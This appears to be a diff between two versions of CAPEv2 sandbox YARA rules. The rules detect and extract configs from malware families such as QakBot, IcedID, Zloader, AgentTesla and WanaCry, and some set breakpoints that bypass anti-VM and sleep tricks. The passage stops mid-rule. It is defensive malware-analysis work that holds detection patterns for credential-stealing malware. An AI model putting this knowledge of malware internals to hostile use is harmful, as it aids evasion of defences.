"6bd0e64d-e60e-5cd2-af79-946a7f6dc9f5" + date = "2021-03-30" + modified = "2023-11-28" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/analyzer/windows/data/yara/QakBot.yar#L15-L29" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "ad75b07b9b786f634fd46cbe6dc089d3f732673320e70714e8ab058f0392c9f5" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/analyzer/windows/data/yara/IcedID.yar#L42-L56" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + hash = "6517ef2c579002ec62ddeb01a3175917c75d79ceca355c415a4462922c715cb6" + logic_hash = "fde1e2c0124d180b2fa3d0675b35e8d78fdd7b06cd27e9228c148aa29ce30ee7" score = 75 quality = 70 tags = "FILE" - cape_options = "bp0=$params+23,action0=setdump:eax::ecx,bp1=$c2list1+40,bp1=$c2list2+38,action1=dump,bp2=$conf+13,action2=dump,count=1,typestring=QakBot Config" - packed = "f084d87078a1e4b0ee208539c53e4853a52b5698e98f0578d7c12948e3831a68" + cape_options = "export=$export" strings: - $params = {8B 7D ?? 8B F1 57 89 55 ?? E8 [4] 8D 9E [2] 00 00 89 03 59 85 C0 75 08 6A FC 58 E9} - $c2list1 = {59 59 8D 4D D8 89 45 E0 E8 [4] 8B 45 E0 85 C0 74 ?? 8B 90 [2] 00 00 51 8B 88 [2] 00 00 6A 00 E8} - $c2list2 = {59 59 8B F8 8D 4D ?? 89 7D ?? E8 [4] 85 FF 74 52 8B 97 [2] 00 00 51 8B 8F [2] 00 00 53 E8} - $conf = {5F 5E 5B C9 C3 51 6A 00 E8 [4] 59 59 85 C0 75 01 C3} + $init = "init" + $export = {44 89 4C 24 20 4C 89 44 24 18 48 89 4C 24 08 41 55 41 56 41 57 48 81 EC ?? 00 00 00 B9 [2] 00 00 4C 8B EA E8} + $loop = {8B C2 48 8D 49 01 83 E0 07 FF C2 0F B6 44 30 ?? 30 41 FF 3B D5 72} condition: - uint16( 0 ) == 0x5A4D and any of them + uint16( 0 ) == 0x5A4D and all of them } -rule CAPE_Qakbotloader : FILE +rule CAPE_Icedidpackerc : FILE { meta: - description = "QakBot Export Selection" + description = "IcedID export selection" author = "kevoreilly" - id = "b2d5ef1c-0651-5249-9c4b-7e83235d4a30" - date = "2022-03-16" - modified = "2024-02-16" + id = "fddfd0d2-1bc0-56bb-b983-5850e17a3d0f" + date = "2021-03-30" + modified = "2023-11-28" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/analyzer/windows/data/yara/QakBot.yar#L31-L46" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - hash = "6f99171c95a8ed5d056eeb9234dbbee123a6f95f481ad0e0a966abd2844f0e1a" - logic_hash = "00869c0a9bf62cde3f46ca915b0ef689557b09dc58d6de34609e3998abfa7e98" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/analyzer/windows/data/yara/IcedID.yar#L58-L71" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + hash = "c06805b6efd482c1a671ec60c1469e47772c8937ec0496f74e987276fa9020a5" + hash = "265c1857ac7c20432f36e3967511f1be0b84b1c52e4867889e367c0b5828a844" + logic_hash = "f1e75e380ab0947fdfda012b7a5077a1c2ef51163239846ab2dc29cac95ba166" score = 75 quality = 70 tags = "FILE" - cape_options = "export=$export1,export=$export2,export=$export3" + cape_options = "export=$export" strings: - $export1 = {55 8B EC 83 EC 50 (3A|66 3B) ?? 74} - $export2 = {55 8B EC 3A ?? 74 [8-16] 74 [6-16] EB} - $export3 = {55 8B EC 66 3B ?? 74 [3-5] 74} - $wind = {(66 3B|3A) ?? 74 [1-14] BB 69 04 00 00 53 E? [5-20] 74} - $getteb = {EB 00 55 8B EC 66 3B E4 74 ?? [1-5] 64 A1 18 00 00 00 5D EB} + $export = {44 89 4C 24 20 4C 89 44 24 18 48 89 54 24 10 3A ED 74} + $alloc = {41 B8 00 10 00 00 8B D0 33 C9 66 3B ?? (74|0F 84)} condition: - uint16( 0 ) == 0x5A4D and ( any of ( $export* ) ) and ( $wind or $getteb ) + uint16( 0 ) == 0x5A4D and all of them } -rule CAPE_Qakbotantivm +rule CAPE_Icedidpackerd : FILE { meta: - description = "QakBot AntiVM bypass" + description = "IcedID export selection" author = "kevoreilly" - id = "7446522a-788a-512d-ad68-2fcc56169f5a" - date = "2022-03-16" - modified = "2024-02-16" + id = "df0ca4bd-1ea6-57ef-b85a-7ed0e2a20831" + date = "2021-03-30" + modified = "2023-11-28" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/analyzer/windows/data/yara/QakBot.yar#L48-L59" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - hash = "e269497ce458b21c8427b3f6f6594a25d583490930af2d3395cb013b20d08ff7" - logic_hash = "20f1cd28f38945a3aa328e77e78525fb1ffc47ecf54d5a40c2f18264c3973989" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/analyzer/windows/data/yara/IcedID.yar#L73-L86" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + hash = "7b226f8cc05fa7d846c52eb0ec386ab37f9bae04372372509daa6bacc9f885d8" + logic_hash = "6685e0246f5a11ce0ca33447837de06506b447a5f8591423e2b76f2ab0274dc7" score = 75 quality = 70 - tags = "" - cape_options = "bp0=$antivm1,action0=unwind,count=1" + tags = "FILE" + cape_options = "export=$export" strings: - $antivm1 = {55 8B EC 3A E4 0F [2] 00 00 00 6A 04 58 3A E4 0F [2] 00 00 00 C7 44 01 [5] 81 44 01 [5] 66 3B FF 74 ?? 6A 04 58 66 3B ED 0F [2] 00 00 00 C7 44 01 [5] 81 6C 01 [5] EB} + $init = "init" + $export = {44 89 4C 24 20 4C 89 44 24 18 48 89 54 24 10 66 3B ED 74} + $load = {41 B8 00 80 00 00 33 D2 48 8B 4C [2] EB ?? B9 69 04 00 00 E8 [4] 48 89 84 [2] 00 00 00 66 3B ED 74} condition: - all of them + uint16( 0 ) == 0x5A4D and all of them } -rule CAPE_Formbook +rule CAPE_Icedsleep : FILE { meta: - description = "Formbook Payload" + description = "IcedID sleep bypass" author = "kevoreilly" - id = "3389c0a7-eb86-5465-8a14-63f812d257db" - date = "2019-10-30" - modified = "2023-10-13" + id = "d6bd708b-47bc-5620-b40e-8fe5f1a67ba4" + date = "2021-03-30" + modified = "2023-11-28" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/Formbook.yar#L1-L18" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "63ee4dd6fe5ed2a3e5ee88ba7de48d2c9e0024961a550d0fdb68891c9885e05e" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/analyzer/windows/data/yara/IcedID.yar#L88-L99" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "0b1a8be95b1b8a3b066837f9e47561ee8202d741b39d64e626c0461c2fbf7c70" score = 75 quality = 70 - tags = "" - cape_type = "Formbook Payload" - packed = "9e38c0c3c516583da526016c4c6a671c53333d3d156562717db79eac63587522" - packed = "2379a4e1ccdd7849ad7ea9e11ee55b2052e58dda4628cd4e28c3378de503de23" + tags = "FILE" + cape_options = "force-sleepskip=1" + packed = "e99f3517a36a9f7a55335699cfb4d84d08b042d47146119156f7f3bab580b4d7" strings: - $remap_ntdll = {33 56 0? 8D 86 [2] 00 00 68 F0 00 00 00 50 89 56 ?? E8 [4] 8B [1-5] 6A 00 6A 04 8D 4D ?? 51 6A 07 52 56 E8 [4] 8B 45 ?? 83 C4 20 3B} - $rc4dec = {F7 E9 C1 FA 03 8B C2 C1 E8 1F 03 C2 8D 04 80 03 C0 03 C0 8B D1 2B D0 8A 04 3A 88 8C 0D [4] 88 84 0D [4] 41 81 F9 00 01 00 00 7C} - $decrypt = {8A 50 01 28 10 48 49 75 F7 83 FE 01 76 14 8B C7 8D 4E FF 8D 9B 00 00 00 00 8A 50 01 28 10 40 49 75 F7} - $string = {33 C0 66 39 01 74 0B 8D 49 00 40 66 83 3C 41 00 75 F8 8B 55 0C 8D 44 00 02 50 52 51 E8} - $mutant = {64 A1 18 00 00 00 8B 40 ?? 89 45 ?? 8B 45 ?? 8B 40 ?? 8B E5 5D C3} - $postmsg = {8B 7D 0C 6A 00 6A 00 68 11 01 00 00 57 FF D6 85 C0 75 ?? 50} + $sleep = {89 4C 24 08 48 83 EC 38 8B 44 24 40 48 69 C0 10 27 00 00 48 F7 D8 48 89 44 24 20 48 8D 54 24 20 33 C9 FF 15 [4] 48 83 C4 38 C3} condition: - 2 of them + uint16( 0 ) == 0x5A4D and all of them } -rule CAPE_Wanacry : FILE +rule CAPE_Anticuckoo : FILE { meta: - description = "WanaCry Payload" + description = "AntiCuckoo bypass: https://github.com/therealdreg/anticuckoo" author = "kevoreilly" - id = "a6525e0f-fccd-5542-9be8-e42d708fe502" - date = "2019-10-30" - modified = "2022-06-09" + id = "e221e57b-313e-5998-a3fc-5b4e9671b989" + date = "2023-03-17" + modified = "2023-03-17" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/WanaCry.yar#L1-L16" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "16d5e39f043d27bbf22f8f21e13971b7e0709b07e44746dd157d11ee4cc51944" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/analyzer/windows/data/yara/AntiCuckoo.yar#L1-L12" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + hash = "ad5e52f144bb4a1dae3090978c6ecb4c7732538c9b62a6cedd32eccee6094be5" + logic_hash = "a039aeca2dae44980e8bffafacfda90975e107001be50f11ac916b35ad43592e" score = 75 quality = 70 tags = "FILE" - cape_type = "WanaCry Payload" + cape_options = "bp0=$HKActivOldStackCrash+36,action0=jmp,count=1" strings: - $exename = "@WanaDecryptor@.exe" - $res = "%08X.res" - $pky = "%08X.pky" - $eky = "%08X.eky" - $taskstart = {8B 35 58 71 00 10 53 68 C0 D8 00 10 68 F0 DC 00 10 FF D6 83 C4 0C 53 68 B4 D8 00 10 68 24 DD 00 10 FF D6 83 C4 0C 53 68 A8 D8 00 10 68 58 DD 00 10 FF D6 53} + $HKActivOldStackCrash = {5B 81 FB FA FA FA FA 74 01 41 3B E0 75 ?? 83 E9 0B 83 F9 04 7F 04 C6 45 ?? 00 89 4D ?? 89 65 ?? 80 7D ?? 00 74} condition: uint16( 0 ) == 0x5A4D and all of them } -rule CAPE_Zeuspanda : FILE +rule CAPE_Risepro : FILE { meta: - description = "ZeusPanda Payload" + description = "No description has been set in the source file - CAPE" author = "kevoreilly" - id = "7891c021-6687-5457-b9e1-0beb0472647c" - date = "2019-10-30" - modified = "2022-06-09" + id = "63d9cb19-0688-5632-8477-ce9b7e986a55" + date = "2023-12-16" + modified = "2023-12-16" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/ZeusPanda.yar#L1-L13" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "43d8a56cae9fd23c053f6956851734d3270b46a906236854502c136e3bb1e761" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/analyzer/windows/data/yara/RisePro.yar#L1-L14" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + hash = "1b69a1dd5961241b926605f0a015fa17149c3b2759fb077a30a22d4ddcc273f6" + logic_hash = "055ca8328923b91f93c116e4a856366356fa11155f4e9fde95da31129b51386a" score = 75 quality = 70 tags = "FILE" - cape_type = "ZeusPanda Payload" + cape_options = "bp0=$c2+15,action0=string:edx,bp1=$c2+41,action1=string:ecx,count=1" strings: - $code1 = {8B 01 57 55 55 55 55 55 55 53 51 FF 50 0C 85 C0 78 E? 55 55 6A 03 6A 03 55 55 6A 0A FF 37} - $code2 = {8D 85 B0 FD FF FF 50 68 ?? ?? ?? ?? 8D 85 90 FA FF FF 68 0E 01 00 00 50 E8 ?? ?? ?? ?? 83 C4 10 83 F8 FF 7E ?? 68 04 01 00 00 8D 85 B0 FD FF FF} + $decode1 = {8A 06 46 84 C0 75 F9 2B F1 B8 FF FF FF 7F 8B 4D ?? 8B 51 ?? 2B C2 3B C6 72 38 83 79 ?? 10 72 02 8B 09 52 51 56 53 51 FF 75 ?? 8B CF E8} + $decode2 = {8B D9 81 FF FF FF FF 7F 0F [2] 00 00 00 C7 43 ?? 0F 00 00 00 83 FF 10 73 1A 57 FF 75 ?? 89 7B ?? 53 E8 [4] 83 C4 0C C6 04 1F 00 5F 5B 5D C2 08 00} + $c2 = {FF 75 30 83 3D [4] 10 BA [4] B9 [4] 0F 43 15 [4] 83 3D [4] 10 0F 43 0D [4] E8 [4] A3} condition: - uint16( 0 ) == 0x5A4D and all of them + uint16( 0 ) == 0x5A4D and any of them } -rule CAPE_Oyster +rule CAPE_Zloader : FILE { meta: - description = "Oyster Payload" - author = "enzok" - id = "29443d00-e3de-53fd-b617-df470a30e805" - date = "2024-03-01" - modified = "2024-05-30" + description = "Zloader API Spam Bypass" + author = "kevoreilly" + id = "8a8e7102-1138-59e7-95a6-8647d41d8521" + date = "2021-03-12" + modified = "2024-05-03" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/Oyster.yar#L1-L19" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - hash = "8bae0fa9f589cd434a689eebd7a1fde949cc09e6a65e1b56bb620998246a1650" - logic_hash = "23ab1518712dbce8319b87785d7ffc0c2b61de82c2bbf533ebf0aae39ec33540" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/analyzer/windows/data/yara/Zloader.yar#L1-L12" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "319adca805083c7f5854fe840447cf961addbd748f1f25eb8ec8cdeed7af38aa" score = 75 quality = 70 - tags = "" - cape_type = "Oyster Payload" + tags = "FILE" + cape_options = "bp0=$trap1-5,action0=hooks:0,bp1=$traps-108,action1=jmp:15,bp2=$traps-88,action2=hooks:1,count=0" strings: - $start_exit = {(05 | 00) 00 00 00 2E 96 1E A6} - $content_type = {F6 CE 56 F4 76 F6 96 2E 86 C6 96 36 0E 0E 86 04 5C A6 0E 9E 2A B4 2E 76 A6 2E 76 F6 C2} - $domain = {44 5C 44 76 96 86 B6 F6 26 44 34 44} - $id = {44 5C 44 64 96 44 DE} - $ip_local = {44 5C 44 36 86 C6 F6 36 FA 0E 96 44 34 44} - $table_part_1 = {00 80 40 C0 20 A0 60 E0 10 90 50 D0 30 B0 70 F0 08 88 48 C8 28 A8 68} - $table_part_2 = {97 57 D7 37 B7 77 F7 0F 8F 4F CF 2F AF 6F EF 1F 9F 5F DF 3F BF 7F FF} - $decode = {0F B6 0? 8D ?? FF 8A [2] 0F B6 80 [4] 88 04 ?? 46 0F B6 C? 0F B6 80 [4] 88 4? 01 3B F7} + $trap1 = {81 F7 4C 01 00 00 8D B4 37 [2] FF FF 31 FE 69 FE 95 03 00 00 E8 [4] 31 FE 0F AF FE 0F AF FE E8} + $traps = {6A 44 53 E8 [2] FF FF 83 C4 08 8D 85 ?? FF FF FF C7 85 ?? FF FF FF 44 00 00 00 50} condition: - 4 of them + uint16( 0 ) == 0x5A4D and any of them } -rule CAPE_Nitrobunnydownloader : FILE +rule CAPE_Zloader_2024 : FILE { meta: - description = "NitroBunnyDownloader" + description = "Zloader Registry and Modulename Bypass" author = "enzok" - id = "64faa91a-4847-57bd-ab71-27029f6074ac" - date = "2025-10-28" - modified = "2025-11-05" + id = "7100c27e-021f-552c-9a75-84b07a2f837e" + date = "2021-03-12" + modified = "2024-05-03" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/NitroBunnyDownloader.yar#L1-L18" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - hash = "960e59200ec0a4b5fb3b44e6da763f5fec4092997975140797d4eec491de411b" - logic_hash = "dcc1348c1d1af0c854376cf6331538951362b43d8d76c0ad73bbbdeb1ab4c135" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/analyzer/windows/data/yara/Zloader.yar#L14-L26" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "38d555ef5f613cf7ca043697c479100a7a22e7f043acf8b6a46f8009eb92fd7e" score = 75 quality = 70 tags = "FILE" - cape_type = "NitroBunnyDownloader Payload" + cape_options = "bp0=$reg_1*+1,bp0=$reg_2*+1,action0=seteax:1,count=0" strings: - $config1 = {E8 [3] 00 41 B8 ?? ?? 00 00 48 8D 15 [3] 00 48 89 C1 48 89 ?? E8 [3] 00} - $config2 = {E8 [3] 00 48 8D 15 [3] 00 41 B8 ?? ?? 00 00 48 89 C1 48 89 ?? E8 [3] 00} - $string1 = "X-Amz-User-Agent:" wide - $string2 = "Amz-Security-Flag:" wide - $string3 = "/cart" wide - $string4 = "Cookie: " wide - $string5 = "wishlist" wide + $reg_1 = {FF D0 83 F8 00 0F 94 C0 24 01 88 44 24 ?? 4? 8B [3] B? [9-25] E8 [4] 4? 89 F1 FF D0 8A [3] 24 01 0F B6 C0} + $reg_2 = {B9 [4] E8 [4] 8B [3] 89 C2 E8 [4] 4? [4] ff D0 8A [3] 24 01 0F B6 C0} + $name_1 = {56 5? 5? 4? 81 EC [4] C7 44 24 ?? 00 00 00 00 4? 8D 0D [4] E8 [4] 4? 89 [3] 4? 83 [3] 00 75} condition: - uint16( 0 ) == 0x5A4D and 1 of ( $config* ) and 2 of ( $string* ) + uint16( 0 ) == 0x5A4D and 2 of them } -rule CAPE_Kronos : FILE +rule CAPE_Smokeinjector : FILE { meta: - description = "Kronos Payload" + description = "No description has been set in the source file - CAPE" author = "kevoreilly" - id = "921a939b-a037-5973-bd8e-f9f55fce7f0f" - date = "2019-10-30" - modified = "2020-07-02" + id = "955afcbe-45c9-5c9a-a76b-d89ae1b381bc" + date = "2023-02-06" + modified = "2025-11-19" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/Kronos.yar#L1-L14" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "52ce9caf3627efe8ae86df6ca59e51e9f738e13ac0265f797e8d70123dbcaeb3" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/analyzer/windows/data/yara/SmokeLoader.yar#L1-L11" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "757a2bf8aceb92bee839bfcaba3b1a8bc4c037812b969e0f493e4f7a4ddc9ede" score = 75 quality = 70 tags = "FILE" - cape_type = "Kronos Payload" + cape_options = "monitor=explorer" + packed = "d38f9ab81a054203e5b5940e6d34f3c8766f4f4104b14840e4695df511feaa30" strings: - $a1 = "user_pref(\"network.cookie.cookieBehavior\"" - $a2 = "T0E0H4U0X3A3D4D8" - $a3 = "wow64cpu.dll" wide - $a4 = "Kronos" fullword ascii wide + $dec1 = {80 04 08 [0-7] (49|83 E9 01) [0-7] 41 [0-7] 81 F1 [2] 00 00 [0-7] 01 D9 [0-7] FF E1} condition: - uint16( 0 ) == 0x5A4D and ( 2 of ( $a* ) ) + uint16( 0 ) == 0x5A4D and any of them } -rule CAPE_Pikabotloader : FILE +rule CAPE_Agentteslav4Jit { meta: - description = "Pikabot Loader" + description = "AgentTesla V4 JIT native config extractor" author = "kevoreilly" - id = "e2c89cdd-0cdb-5367-8aae-2fe685eff972" - date = "2023-02-13" - modified = "2024-03-13" + id = "a87dca44-4974-543c-9565-487ed99be2a6" + date = "2023-09-13" + modified = "2024-02-27" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/PikaBot.yar#L1-L13" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "7e5f1f2911545ee6bd36b54f2627fbdec1b957f4b91df901dd1c6cbd4dff0231" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/analyzer/windows/data/yara/AgentTesla.yar#L1-L14" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "8f7144d2a989ce8d291af926b292f5f0f7772e707b0e49797eba13ecf91b90bc" score = 75 quality = 70 - tags = "FILE" - cape_type = "PikaBot Loader" + tags = "" + cape_options = "bp0=$decode1+8,count=0,action0=string:ecx,typestring=AgentTesla Strings,no-logs=2" + packed = "7f8a95173e17256698324886bb138b7936b9e8c5b9ab8fffbfe01080f02f286c" strings: - $indirect = {31 C0 64 8B 0D C0 00 00 00 85 C9 74 01 40 50 8D 54 24 ?? E8 [4] A3 [4] 8B 25 [4] A1} - $sysenter1 = {89 44 24 08 8D 85 ?? FC FF FF C7 44 24 04 FF FF 1F 00 89 04 24 E8} - $sysenter2 = {C7 44 24 0C 00 00 00 02 C7 44 24 08 00 00 00 02 8B 45 0C 89 44 24 04 8B 45 08 89 04 24 E8} + $decode1 = {8B 01 8B 40 3C FF 50 10 8B C8 E8 [4] 89 45 CC B8 1A 00 00 00} + $decode2 = {83 F8 18 75 2? 8B [2-5] D1 F8} + $decode3 = {8D 4C 0? 08 0F B6 01 [0-3] 0F B6 5? 04 33 C2 88 01 B8 19 00 00 00} condition: - uint16( 0 ) == 0x5A4D and 2 of them + 2 of them } -rule CAPE_Pikabot : FILE +rule CAPE_Agentteslav3Jit { meta: - description = "Pikabot Payload" - author = "kevoreilly" - id = "140a3e20-9837-5f66-85dc-af278d75e074" - date = "2023-02-13" - modified = "2024-03-13" + description = "AgentTesla V3 JIT native string decryption" + author = "ClaudioWayne" + id = "590c5058-c1db-5366-8db5-57449a178999" + date = "2023-09-13" + modified = "2024-02-27" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/PikaBot.yar#L15-L28" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "ed07217c373831a9a67d914854154988696e6fcea70dedabf333385f0e7bb8b7" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/analyzer/windows/data/yara/AgentTesla.yar#L16-L26" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "62a49cf4295df637f96ba7c127cfc4aeb9af2fcced497fdf34d726a062edc1ec" score = 75 quality = 70 - tags = "FILE" - cape_type = "PikaBot Payload" - packed = "89dc50024836f9ad406504a3b7445d284e97ec5dafdd8f2741f496cac84ccda9" + tags = "" + cape_options = "bp0=$decode+20,count=0,action0=string:eax+8,typestring=AgentTesla Strings,no-logs=2" strings: - $decode = {29 D1 01 4B ?? 8D 0C 10 89 4B ?? 85 F6 74 02 89 16} - $indirect = {31 C0 64 8B 0D C0 00 00 00 85 C9 74 01 40 50 8D 54 24 ?? E8 [4] A3 [4] 8B 25 [4] A1} - $config = {C7 44 24 [3] 00 00 C7 44 24 [4] 00 89 [1-4] ?? E8 [4] 31 C0 C7 44 24 [3] 00 00 89 44 24 ?? C7 04 24 [4] E8} + $decode = {8B C8 57 FF 75 08 8B [5] 8B 01 8B 40 3C FF [2] 8B F0 B8 03 00 00 00} condition: - uint16( 0 ) == 0x5A4D and 2 of them + all of them } -rule CAPE_Pik23 : FILE +rule CAPE_Themida : FILE { meta: - description = "PikaBot Payload February 2023" + description = "Themida detonation shim" author = "kevoreilly" - id = "fc804c63-fc6c-5b26-92b1-aa5d2fbc4917" - date = "2023-02-13" - modified = "2024-03-13" + id = "cd5c8b08-4864-57f7-b218-1bcb6892bea8" + date = "2024-09-10" + modified = "2024-09-11" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/PikaBot.yar#L30-L44" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - hash = "59f42ecde152f78731e54ea27e761bba748c9309a6ad1c2fd17f0e8b90f8aed1" - logic_hash = "71a71df2f2a075294941c54eed06cafaaa4d3294e45b3a0098c1cffddd0438bc" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/analyzer/windows/data/yara/Themida.yar#L1-L12" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "c4f1e01a3fe3cb66062ce03253bfe9edc09dc6f1a77db99b281106e8ceff9257" score = 75 quality = 70 tags = "FILE" - cape_type = "PikaBot Payload" + cape_options = "unhook-apis=NtSetInformationThread,force-sleepskip=0" + packed = "6337ff4cf413f56cc6c9a8e67f24b8d7f94f620eae06ac9f0b113b5ba82ea176" strings: - $rdtsc = {89 55 FC 89 45 F8 0F 31 89 55 F4 89 45 FC 33 C0 B8 05 00 00 00 C1 E8 02 2B C3 3B C1 0F 31 89 55 F0 89 45 F8 8B 44 8D} - $int2d = {B8 00 00 00 00 CD 2D 90 C3 CC CC CC CC CC CC CC} - $subsys = {64 A1 30 00 00 00 8B 40 18 C3} - $rijndael = {EB 0F 0F B6 04 3? FE C? 8A 80 [4] 88 04 3? 0F B6 [3] 7C EA 5? 5? C9 C3} + $code = {FC 31 C9 49 89 CA 31 C0 31 DB AC 30 C8 88 E9 88 D5 88 F2 B6 08 66 D1 EB 66 D1 D8 73 09} condition: - uint16( 0 ) == 0x5A4D and 3 of them + uint16( 0 ) == 0x5A4D and all of them } -rule CAPE_Jaff : FILE +rule CAPE_Ursnif : FILE { meta: - description = "Jaff Payload" - author = "kevoreilly" - id = "6681c1fe-6c88-5a49-bdfa-54ce08ea6707" + description = "Ursnif Payload" + author = "kevoreilly & enzo" + id = "200c2227-0d34-5e4a-b5aa-ab63a077d141" date = "2019-10-30" modified = "2019-10-30" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/Jaff.yar#L1-L14" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "6806a5eeee04b7436ff694addc334bfc0f1ee611116904d57be9506acfd47418" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/Ursnif.yar#L1-L19" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "46e79fde81ff5352314618021e394b2e0322df07170c7279363290b7134935fd" score = 75 quality = 70 tags = "FILE" - cape_type = "Jaff Payload" + cape_type = "Ursnif Payload" strings: - $a1 = "CryptGenKey" - $a2 = "353260540318613681395633061841341670181307185694827316660016508" - $b1 = "jaff" - $b2 = "2~1c0q4t7" + $crypto64_1 = {41 8B 02 ?? C1 [0-1] 41 33 C3 45 8B 1A 41 33 C0 D3 C8 41 89 02 49 83 C2 04 83 C2 FF 75 D?} + $crypto64_2 = {44 01 